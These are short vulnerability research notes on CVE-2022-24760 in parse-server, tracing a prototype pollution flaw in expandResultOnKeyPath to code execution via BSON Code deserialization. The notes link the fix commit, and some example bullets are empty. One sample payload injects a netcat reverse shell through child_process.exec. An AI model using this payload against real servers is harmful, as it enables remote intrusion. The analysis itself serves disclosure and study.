CVE-2022-24760

CVE-2022-24760

flow

• By default, no key is required to add, delete, or modify classes in the database

Diff commit

https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d

• Prototype pollution occurs in the function expandResultOnKeyPath

DatabaseController.js
	sanitizeDatabaseResult
		-> expandResultOnKeyPath

• sanitizeDatabaseResult is used when adding and updating new classes. However, for prototype pollution to work, the condition must be satisfied when the keyUpdate __op belongs to ['Add', 'AddUnique', 'Remove', 'Increment']

• Therefore, the prototype values can only be array or number

  • 
  • 

• sample request like:

Sink exploit for RCE

• Before saving data to the database, the data flow will be serialized via the BSON library, when _bsontype is Code, it will proceed to serializeCode

​ parse-server-4.10.6/node_modules/bson/lib/bson/parser/serializer.js:762

• Then, the data will be deserialized to reach the sink:

• Use prototype pollution to pollute options['evalFunctions'] -> bypass to the isolateEval function

• Sample payload

"_bsontype":"Code","code":"asdasd;require('child_process').exec('rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f')"

• Since the execution flow of the expandResultOnKeyPath function occurs after deserialization, it is necessary to repeatedly perform a race condition so that when reaching isolateEval, it can be triggered